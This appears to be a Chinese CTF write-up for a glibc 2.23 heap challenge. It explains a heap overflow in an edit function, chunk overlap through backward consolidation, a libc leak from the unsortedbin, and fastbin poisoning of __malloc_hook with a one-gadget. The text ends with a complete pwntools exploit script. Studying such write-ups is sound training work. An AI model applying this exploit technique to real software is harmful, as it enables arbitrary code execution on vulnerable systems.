image-20240228161838395

四个功能,保护全开

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall add(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(24LL * i + a1) )
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL);
if ( !v3 )
exit(-1);
*(24LL * i + a1) = 1;
*(a1 + 24LL * i + 8) = v2;
*(a1 + 24LL * i + 16) = v3;
printf("Allocate Index %d\n", i);
}
return;
}
}
}

是利用calloc创建堆块的。

1
2
3
4
void *malloc( size_t size ); //分配的大小

void *calloc( size_t numElements, size_t sizeOfElement ); // 分配元素的个数和每个元素的大小

calloc分配的空间全部初始化为0

edit(漏洞点)

存在堆溢出

image-20240228162434581

当edit后选择size时,如果比add时的size大,那么就会造成堆溢出。

delete

image-20240228162542127

指针置空,不存在UAF

打印信息

思路

1
2
3
4
5
add(0xa0)
add(0x60)
add(0x60)
add(0xa0)
add(0x10)

image-20240228164955613

1
2
3
4
5
6
delete(0)
payload = p64(0)*12 + p64(0x190) +p64(0xb0)
edit(2,0x70,payload)//作用是为了下面能正常的free掉这个堆块
delete(3)

delete(1)

首先free掉第一个堆块,第一个堆块的size是0xb1,如果将四个堆块的chunk_header修改一下

pre_size修改为0x190,size修改为0xb0。此时inuse位为0,所以在free第四个堆块时,会根据Inuse位判断前一个堆块是不是处于free状态,如果是处于free状态,那么就会根据pre_size来进行堆块合并。

所以当free掉第四个堆块后,会向前合并堆块,此时前四个堆块合并为一个大堆块,这个堆块是处于free状态,但是其中包含的chunk2和chunk3还是malloc状态

image-20240228165611769

image-20240228165802286

image-20240228165808842

然后将chunk1 free掉进入到fastbins中。

image-20240228170048782

此时需要思考如何才能泄露libc。

因为chunk1此时是个一个大的chunk,并且在unsortedbin中,那么如果分配一个大于fastbin并且处在smallbin中的size,那么就会从这个大chunk分割出来。

chunk3此时还在malloc状态中,所以可以控制malloc的size,将unsortedbin中的chunk调整到chunk3的位置,然后利用dump打印chunk3即可泄露libc

1
2
3
4
5
6
add(0x110)
dump(2)

libc_addr = l64()
libc_base = libc_addr - 0x3c4b78
lg('libc_addr',libc_base)

image-20240228170652249

接下来就是想办法修改__malloc_hook。

1
edit(0,0xc0,p64(0)*21+p64(0x71)+p64(malloc_hook-0x23+libc_base)+p64(0))

因为chunk1的范围覆盖了chunk2,所以修改chunk2的fd为__malloc_hook附近的区域,然后调整一下地址

image-20240228171146876

image-20240228171206232

image-20240228171217203

申请两次0x60就能申请到__malloc_hook部分,然后利用edit将__malloc_hook修改为onegadet即可

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
from ctypes import *
from libcfind import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.buuoj.cn', 26721)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
def add(size):
rl("Command: ")
sl('1')
rl("Size: ")
sl(str(size))
def edit(index,size,content):
rl("Command: ")
sl('2')
rl("Index: ")
sl(str(index))
rl("Size: ")
sl(str(size))
rl("Content: ")
sl(content)
def delete(index):
rl("Command: ")
sl('3')
rl("Index: ")
sl(str(index))
def dump(index):
rl("Command: ")
sl('4')
rl("Index: ")
sl(str(index))

gdb.attach(p)
add(0xa0)
add(0x60)
add(0x60)
add(0xa0)
add(0x10)
delete(0)
payload = p64(0)*12 + p64(0x190) +p64(0xb0)
edit(2,0x70,payload)
delete(3)

delete(1)
add(0x110)
dump(2)

libc_addr = l64()
libc_base = libc_addr - 0x3c4b78
lg('libc_addr',libc_base)

onegadget = [0x45226,0x4527a,0xf03a4,0xf1247]
malloc_hook = libc.sym['__malloc_hook']

# edit(2,0x8,p64(malloc_hook-0xb+libc_base))
edit(0,0xc0,p64(0)*21+p64(0x71)+p64(malloc_hook-0x23+libc_base)+p64(0))
pause()
add(0x60)
add(0x60)
edit(3,27,'a'*0x13+p64(libc_base+onegadget[1]))
add(0x10)
inter()